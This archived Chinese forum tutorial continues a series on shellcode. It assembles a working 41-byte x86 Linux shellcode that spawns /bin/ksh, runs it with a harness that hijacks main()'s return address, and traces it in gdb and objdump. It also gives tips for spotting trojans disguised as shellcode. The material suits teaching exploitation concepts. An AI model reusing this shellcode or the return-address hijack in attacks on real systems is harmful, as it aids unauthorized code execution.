📄 shellcode技术探讨续1.htm
字号:
<HTML>
<HEAD>
<meta name="Phorum Version" content="3.1">
<meta name="Phorum DB" content="mysql">
<meta name="PHP Version" content="4.0.0">
<style><!--body{font-family:"宋体","serif";font-size:11pt}--></style>
<TITLE>shellcode技术探讨续一</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" LINK="#0000FF" ALINK="#FF0000" VLINK="#330000">
shellcode技术探讨一
<BR>
<BR>概述:
<BR>
<BR> 本文旨在验证前文几个问题所在,当时我在一旁加了注解,
可能有朋友觉得理解有点问题,看了这篇就没问题了。
还有就是针对以前有人问过的,如何得到shellcode的汇编
代码,给出了实际例子。文中详细注解了使用到的gdb命令
集合,如果你用过debug/softice,就很容易理解。不过说
实话,gdb的帮助(即使是那些翻译过来的)比dbx要糟,幸
好用过dbx。
<BR>
<BR>测试:
<BR>
<BR> RedHat 6.0/Intel PII
<BR>
<BR>目录:
<BR>
<BR> 1. 验证exit()不是必要的
<BR> 2. vi shelltest.c
<BR> 3. gdb使用举例(待增加)
<BR> 4. 利用objdump直接查看shellcode的汇编代码
<BR> 5. 使用外来shellcode时要注意的问题
<BR>
<BR>1. 验证exit()不是必要的
<BR>
<BR>shellcode探讨之一中第6条目,提到那个exit()系统调用是不必要的。
可能有朋友觉得不可信,我就把有关它的部分去掉,略微调整一下
代码再演示一番。
<BR>
<BR>vi shellcodeasm.c
<BR>
<BR>int main ()
<BR>{
<BR> __asm__
<BR> ("
<BR> jmp 0x18 # 3 bytes
<BR> popl %esi # 1 byte
<BR> movl %esi,0x9(%esi) # 3 bytes
<BR> xorl %eax,%eax # 2 bytes
<BR> movb %eax,0x8(%esi) # 3 bytes
<BR> movl %eax,0xd(%esi) # 3 bytes
<BR> movb $0xb,%al # 2 bytes
<BR> movl %esi,%ebx # 2 bytes
<BR> leal 0x9(%esi),%ecx # 3 bytes
<BR> leal 0xd(%esi),%edx # 3 bytes
<BR> int $0x80 # 2 bytes
<BR> call -0x1d # 5 bytes
<BR> .string \"/bin/ksh\" # 9 bytes
<BR> # 41 bytes total
<BR> ");
<BR>}
<BR>
<BR>[scz@ /home/scz/src]> gcc -o shellcodeasm -g -ggdb shellcodeasm.c
<BR>[scz@ /home/scz/src]> gdb shellcodeasm
<BR>GNU gdb 4.17.0.11 with Linux support
<BR>This GDB was configured as "i386-redhat-linux"...
<BR>(gdb) disas main
<BR>
<BR>objdump -j .text -Sl shellcodeasm | more
<BR>/main
<BR>
<BR>08048398 :
<BR>main():
<BR>/home/scz/src/shellcodeasm.c:2
<BR>{
<BR>8048398: 55 pushl %ebp
<BR>8048399: 89 e5 movl %esp,%ebp
<BR>/home/scz/src/shellcodeasm.c:3
<BR> __asm__
<BR>804839b: eb 18 jmp 80483b5
<BR>804839d: 5e popl %esi
<BR>804839e: 89 76 09 movl %esi,0x9(%esi)
<BR>80483a1: 31 c0 xorl %eax,%eax
<BR>80483a3: 88 46 08 movb %al,0x8(%esi)
<BR>80483a6: 89 46 0d movl %eax,0xd(%esi)
<BR>80483a9: b0 0b movb $0xb,%al
<BR>80483ab: 89 f3 movl %esi,%ebx
<BR>80483ad: 8d 4e 09 leal 0x9(%esi),%ecx
<BR>80483b0: 8d 56 0d leal 0xd(%esi),%edx
<BR>80483b3: cd 80 int $0x80
<BR>80483b5: e8 e3 ff ff ff call 804839d
<BR>80483ba: 2f das
<BR>80483bb: 62 69 6e boundl 0x6e(%ecx),%ebp
<BR>80483be: 2f das
<BR>80483bf: 6b 73 68 00 imull $0x0,0x68(%ebx),%esi
<BR>/home/scz/src/shellcodeasm.c:20
<BR> ("
<BR> jmp 0x18 # 3 bytes
<BR> popl %esi # 1 byte
<BR> movl %esi,0x9(%esi) # 3 bytes
<BR> xorl %eax,%eax # 2 bytes
<BR> movb %eax,0x8(%esi) # 3 bytes
<BR> movl %eax,0xd(%esi) # 3 bytes
<BR> movb $0xb,%al # 2 bytes
<BR> movl %esi,%ebx # 2 bytes
<BR> leal 0x9(%esi),%ecx # 3 bytes
<BR> leal 0xd(%esi),%edx # 3 bytes
<BR> int $0x80 # 2 bytes
<BR> call -0x1d # 5 bytes
<BR> .string \"/bin/ksh\" # 9 bytes
<BR> # 41 bytes total
<BR> ");
<BR>}
<BR>80483c3: c9 leave
<BR>80483c4: c3 ret
<BR>80483c5: 90 nop
<BR>
<BR>整理shellcode如下:
<BR>
<BR>eb 18 5e 89 76 09 31 c0 88 46 08 89 46 0d b0 0b 89 f3 8d 4e 09
<BR>8d 56 0d cd 80 e8 e3 ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3
<BR>
<BR>2. vi shelltest.c
<BR>
<BR>char shellcode[] =
<BR> "\xeb\x18\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b\x89\xf3\x8d\x4e\x09"
<BR> "\x8d\x56\x0d\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x00\xc9\xc3";
<BR>
<BR>int main ()
<BR>{
<BR> int * ret; /* 当前esp指向的地址保存ret的值 */
<BR>
<BR> ret = ( int * )&ret + 2; /* 得到 esp + 2 * 4,那是返回地址IP */
<BR> ( *ret ) = ( int )shellcode; /* 修改了 main() 函数的返回地址,那是很重要的一步 */
<BR>}
<BR>
<BR>[scz@ /home/scz/src]> gcc -o shelltest shelltest.c
<BR>[scz@ /home/scz/src]> ./shelltest
<BR>$ exit
<BR>[scz@ /home/scz/src]>
<BR>
<BR>说明什么?我们的结论是正确的。exit()不过是一种附加的保护措施,免得你在
<BR>别人机器上搞砸的时候来个core dump。我个人建议还是留下这个exit(),增加不
<BR>了几个字节的。
<BR>
<BR>3. gdb使用举例(待增加)
<BR>
<BR>[scz@ /home/scz/src]> gdb shelltest
<BR>GNU gdb 4.17.0.11 with Linux support
<BR>This GDB was configured as "i386-redhat-linux"...
<BR>(gdb) disas main
<BR>Dump of assembler code for function main:
<BR>0x8048398 : pushl %ebp
<BR>0x8048399 : movl %esp,%ebp
<BR>0x804839b : subl $0x4,%esp
<BR>0x804839e : leal 0xfffffffc(%ebp),%eax
<BR>0x80483a1 : leal 0x8(%eax),%edx
<BR>0x80483a4 : movl %edx,0xfffffffc(%ebp)
<BR>0x80483a7 : movl 0xfffffffc(%ebp),%eax
<BR>0x80483aa : movl $0x8049440,(%eax)
<BR>0x80483b0 : leave
<BR>0x80483b1 : ret
<BR>End of assembler dump.
<BR>(gdb) break main < -- -- -- 设置断点
<BR>Breakpoint 1 at 0x804839e
<BR>(gdb) run < -- -- -- 运行
<BR>Starting program: /home/scz/src/shelltest
<BR>
<BR>Breakpoint 1, 0x804839e in main ()
<BR>(gdb) jump *main+12 < -- -- -- 运行到 main+12 停下来
<BR>Continuing at 0x80483a4.
<BR>
<BR>Program exited with code 064.
<BR>(gdb) info bre < -- -- -- 查看断点
<BR>Num Type Disp Enb Address What
<BR>1 breakpoint keep y 0x0804839e
<BR> breakpoint already hit 1 time
<BR>(gdb) kill < -- -- -- 终止调试当前程序
<BR>(gdb) d 1 < -- -- -- 删除1号断点
<BR>(gdb) break *main+18
<BR>Breakpoint 2 at 0x80483aa
<BR>(gdb) inf b
<BR>Num Type Disp Enb Address What
<BR>2 breakpoint keep y 0x080483aa
<BR>(gdb) run
<BR>The program being debugged has been started already.
<BR>Start it from the beginning? (y or n) y
<BR>Starting program: /home/scz/src/shelltest
<BR>
<BR>Breakpoint 2, 0x80483aa in main ()
<BR>(gdb) inf reg < -- -- -- 查看寄存器
<BR> eax: 0xbffffd0c -1073742580 < -- -- -- eax存放着main()返回地址所在地址
<BR> ecx: 0x8048398 134513560
<BR> edx: 0xbffffd0c -1073742580
<BR> ebx: 0x401041b4 1074807220
<BR> esp: 0xbffffd04 -1073742588
<BR> ebp: 0xbffffd08 -1073742584
<BR> esi: 0xbffffd54 -1073742508
<BR> edi: 0x1 1
<BR> eip: 0x80483aa 134513578 < -- -- -- 注意这里eip等于断点地址
<BR> eflags: 0x282 IOPL: 0; flags: SF IF
<BR>orig_eax: 0xffffffff -1
<BR> cs: 0x23 35
<BR> ss: 0x2b 43
<BR> ds: 0x2b 43
<BR> es: 0x2b 43
<BR> fs: 0x0 0
<BR> gs: 0x0 0
<BR>(gdb) x/32bx $ebp - 16 < -- -- -- 查看堆栈,采用16进制字节表达方式
<BR>0xbffffcf8: 0x08 0xfd 0xff 0xbf 0x8b 0x83 0x04 0x08
<BR>0xbffffd00: 0x6c 0x94 0x04 0x08 0x0c 0xfd 0xff 0xbf
<BR>0xbffffd08: 0x28 0xfd 0xff 0xbf 0xb3 0x1c 0x03 0x40
<BR>0xbffffd10: 0x01 0x00 0x00 0x00 0x54 0xfd 0xff 0xbf
<BR>(gdb) stepi < -- -- -- 单步执行一条汇编指令,进入子程序
<BR>0x80483b0 in main ()
<BR>(gdb) inf reg
<BR> eax: 0xbffffd0c -1073742580 < -- -- -- 应该检查0xbffffd0c的内容
<BR> ecx: 0x8048398 134513560
<BR> edx: 0xbffffd0c -1073742580
<BR> ebx: 0x401041b4 1074807220
<BR> esp: 0xbffffd04 -1073742588
<BR> ebp: 0xbffffd08 -1073742584
<BR> esi: 0xbffffd54 -1073742508
<BR> edi: 0x1 1
<BR> eip: 0x80483b0 134513584 < -- -- -- eip变更
<BR> eflags: 0x382 IOPL: 0; flags: SF TF IF
<BR>orig_eax: 0xffffffff -1
<BR> cs: 0x23 35
<BR> ss: 0x2b 43
<BR> ds: 0x2b 43
<BR> es: 0x2b 43
<BR> fs: 0x0 0
<BR> gs: 0x0 0
<BR>(gdb) x/4bx $eax < -- -- -- 检查0xbffffd0c的内容
<BR>0xbffffd0c: 0x40 0x94 0x04 0x08
<BR>(gdb) stepi
<BR>0x80483b1 in main ()
<BR>(gdb) stepi < -- -- -- 执行ret指令,流程转入我们的shellcode
<BR>0x8049440 in shellcode ()
<BR>(gdb) disas $eip $eip+31 < -- -- -- 反汇编shellcode中的31个字节
<BR>Dump of assembler code from 0x8049440 to 0x804945f:
<BR>0x8049440 : jmp 0x804945a
<BR>0x8049442 : popl %esi
<BR>0x8049443 : movl %esi,0x9(%esi)
<BR>0x8049446 : xorl %eax,%eax
<BR>0x8049448 : movb %al,0x8(%esi)
<BR>0x804944b : movl %eax,0xd(%esi)
<BR>0x804944e : movb $0xb,%al
<BR>0x8049450 : movl %esi,%ebx
<BR>0x8049452 : leal 0x9(%esi),%ecx
<BR>0x8049455 : leal 0xd(%esi),%edx
<BR>0x8049458 : int $0x80
<BR>0x804945a : call 0x8049442
<BR>End of assembler dump.
<BR>(gdb) x/16s $eip+31 < -- -- -- 以字符串形式查看内存
<BR>0x804945f : "/bin/ksh"
<BR>... ...
<BR>(gdb) nexti 8 < -- -- -- 单步执行8次汇编指令,不进入子程序
<BR>0x8049450 in shellcode ()
<BR>(gdb) x/16bx $esi < -- -- -- 观察前文第14条目中提到的内存状况
<BR>0x804945f : 0x2f 0x62 0x69 0x6e 0x2f 0x6b 0x73 0x68
<BR>0x8049467 : 0x00 0x5f 0x94 0x04 0x08 0x00 0x00 0x00
<BR> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<BR>(gdb) quit
<BR>The program is running. Exit anyway? (y or n) y
<BR>[scz@ /home/scz/src]>
<BR>
<BR>啊哈,是不是一路做下来了呢?找回点什么感觉,对了对了,正是这种感觉,
<BR>不就是在玩debug嘛,没什么可怕的,很简单的gdb。当然咯,如果你要调试
<BR>多线程程序,可能要麻烦点,回头有机会我写篇gdb调试多线程实战上来。
<BR>
<BR>4. 利用objdump直接查看shellcode的汇编代码
<BR>
<BR>objdump -j .data -D shelltest | more
<BR>/shellcode
<BR>
<BR>08049440 :
<BR>8049440: eb 18 jmp 804945a
<BR>8049442: 5e popl %esi
<BR>8049443: 89 76 09 movl %esi,0x9(%esi)
<BR>8049446: 31 c0 xorl %eax,%eax
<BR>8049448: 88 46 08 movb %al,0x8(%esi)
<BR>804944b: 89 46 0d movl %eax,0xd(%esi)
<BR>804944e: b0 0b movb $0xb,%al
<BR>8049450: 89 f3 movl %esi,%ebx
<BR>8049452: 8d 4e 09 leal 0x9(%esi),%ecx
<BR>8049455: 8d 56 0d leal 0xd(%esi),%edx
<BR>8049458: cd 80 int $0x80
<BR>804945a: e8 e3 ff ff ff call 8049442
<BR>804945f: 2f das
<BR>8049460: 62 69 6e boundl 0x6e(%ecx),%ebp
<BR>8049463: 2f das
<BR>8049464: 6b 73 68 00 imull $0x0,0x68(%ebx),%esi
<BR>8049468: c9 leave
<BR>8049469: c3 ret
<BR>
<BR>[scz@ /home/scz/src]> objdump -j .data -s shelltest | more
<BR>
<BR>shelltest: file format elf32-i386
<BR>
<BR>Contents of section .data:
<BR>8049420 00000000 7c940408 00000000 00000000 ....|...........
<BR>8049430 00000000 00000000 00000000 00000000 ................
<BR>8049440 eb185e89 760931c0 88460889 460db00b ..^.v.1..F..F...
<BR>8049450 89f38d4e 098d560d cd80e8e3 ffffff2f ...N..V......../
<BR>8049460 62696e2f 6b736800 c9c30000 bin/ksh.....
<BR>[scz@ /home/scz/src]>
<BR>
<BR>5. 使用外来shellcode时要注意的问题
<BR>
<BR>我们必须注意到,绝大部分shellcode都是以jmp指令开始的,那么第一个字节
<BR>应该是0xeb,即使不以jmp开始,也应该有call和int指令出现,0xe8和0xcd。
<BR>要是一段shellcode没有这三个字节出现,那很值得怀疑,到底是shellcode
<BR>还是木马。shellcode一般都是短小精悍的,如果shellcode很长,也要怀疑
<BR>它的功能到底是什么,此时应该用objdump来查看这只混蛋,关于objdump的
<BR>使用前面已经给了不少例子,完整的说明请查看我贴过的
<BR><>
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -